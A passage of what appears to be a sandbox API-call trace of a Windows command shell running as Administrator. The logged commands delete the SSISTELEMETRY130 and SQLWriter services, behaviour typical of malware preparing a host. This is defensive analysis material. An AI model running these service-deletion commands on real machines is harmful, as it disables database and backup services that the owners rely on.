(_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.782] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.782] GetProcessHeap () returned 0x4a0000 [0069.782] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0069.782] GetProcessHeap () returned 0x4a0000 [0069.782] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0069.782] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SSISTELEMETRY130", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SSISTELEMETRY130", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete SSISTELEMETRY130", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x9b4, dwThreadId=0x9c4)) returned 1 [0069.785] CloseHandle (hObject=0x50) returned 1 [0069.785] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0069.786] GetProcessHeap () returned 0x4a0000 [0069.786] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0069.786] GetEnvironmentStringsW () returned 0x4c1b10* [0069.786] GetProcessHeap () returned 0x4a0000 [0069.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0069.786] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.786] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0069.786] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd5000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0069.786] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0069.841] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0069.841] CloseHandle (hObject=0x54) returned 1 [0069.841] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0069.841] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0069.841] GetProcessHeap () returned 0x4a0000 [0069.841] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0069.841] GetEnvironmentStringsW () returned 0x4c1b10* [0069.842] GetProcessHeap () returned 0x4a0000 [0069.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0069.842] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.842] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.842] GetProcessHeap () returned 0x4a0000 [0069.842] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0069.842] GetEnvironmentStringsW () returned 0x4c1b10* [0069.842] GetProcessHeap () returned 0x4a0000 [0069.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0069.842] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.842] GetProcessHeap () returned 0x4a0000 [0069.842] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0069.842] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0069.842] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0069.843] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.843] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0069.843] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.843] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0069.843] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.843] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0069.843] GetConsoleOutputCP () returned 0x1b5 [0069.843] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.843] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0069.844] GetProcessHeap () returned 0x4a0000 [0069.844] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0069.844] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0069.844] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.844] GetFileType (hFile=0x120) returned 0x3 [0069.845] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0069.845] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0069.845] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.845] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.845] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.845] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0069.845] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.845] GetFileType (hFile=0x120) returned 0x3 [0069.845] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0069.845] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0069.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.845] GetFileType (hFile=0xb8) returned 0x3 [0069.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete SSISTELEMETRY130\ne\n") returned 1 [0069.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete SSISTELEMETRY130\ne\n") returned 1 [0069.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete SSISTELEMETRY130\ne\n") returned 1 [0069.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete SSISTELEMETRY130\ne\n") returned 1 [0069.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete SSISTELEMETRY130\ne\n") returned 1 [0069.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.847] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete SSISTELEMETRY130\ne\n") returned 1 [0069.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.847] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete SSISTELEMETRY130\ne\n") returned 1 [0069.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.847] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te SSISTELEMETRY130\ne\n") returned 1 [0069.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.847] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e SSISTELEMETRY130\ne\n") returned 1 [0069.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.847] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" SSISTELEMETRY130\ne\n") returned 1 [0069.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.848] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="SSISTELEMETRY130\ne\n") returned 1 [0069.848] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.848] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.848] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="QISTELEMETRY130\ne\n") returned 1 [0069.848] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.848] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.848] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="LSTELEMETRY130\ne\n") returned 1 [0069.848] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.848] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.848] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="WTELEMETRY130\ne\n") returned 1 [0069.848] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.848] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.848] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="rELEMETRY130\ne\n") returned 1 [0069.848] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.848] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.849] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="iLEMETRY130\ne\n") returned 1 [0069.849] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.849] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.849] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="tEMETRY130\ne\n") returned 1 [0069.849] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.849] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.849] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="eMETRY130\ne\n") returned 1 [0069.849] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.849] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.849] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="rETRY130\ne\n") returned 1 [0069.849] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.849] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.849] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="\nTRY130\ne\n") returned 1 [0069.849] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.850] GetFileType (hFile=0xb8) returned 0x3 [0069.850] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.850] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.850] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.850] GetFileType (hFile=0x120) returned 0x3 [0069.850] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLWriter\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLWriter\n", lpUsedDefaultChar=0x0) returned 21 [0069.850] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x14, lpOverlapped=0x0) returned 1 [0069.850] GetProcessHeap () returned 0x4a0000 [0069.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0069.850] GetProcessHeap () returned 0x4a0000 [0069.850] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0069.851] GetProcessHeap () returned 0x4a0000 [0069.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0069.851] GetProcessHeap () returned 0x4a0000 [0069.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0069.851] GetProcessHeap () returned 0x4a0000 [0069.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x34) returned 0x4b6510 [0069.851] GetConsoleOutputCP () returned 0x1b5 [0069.851] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.851] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.851] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.851] GetProcessHeap () returned 0x4a0000 [0069.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0069.852] GetProcessHeap () returned 0x4a0000 [0069.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, 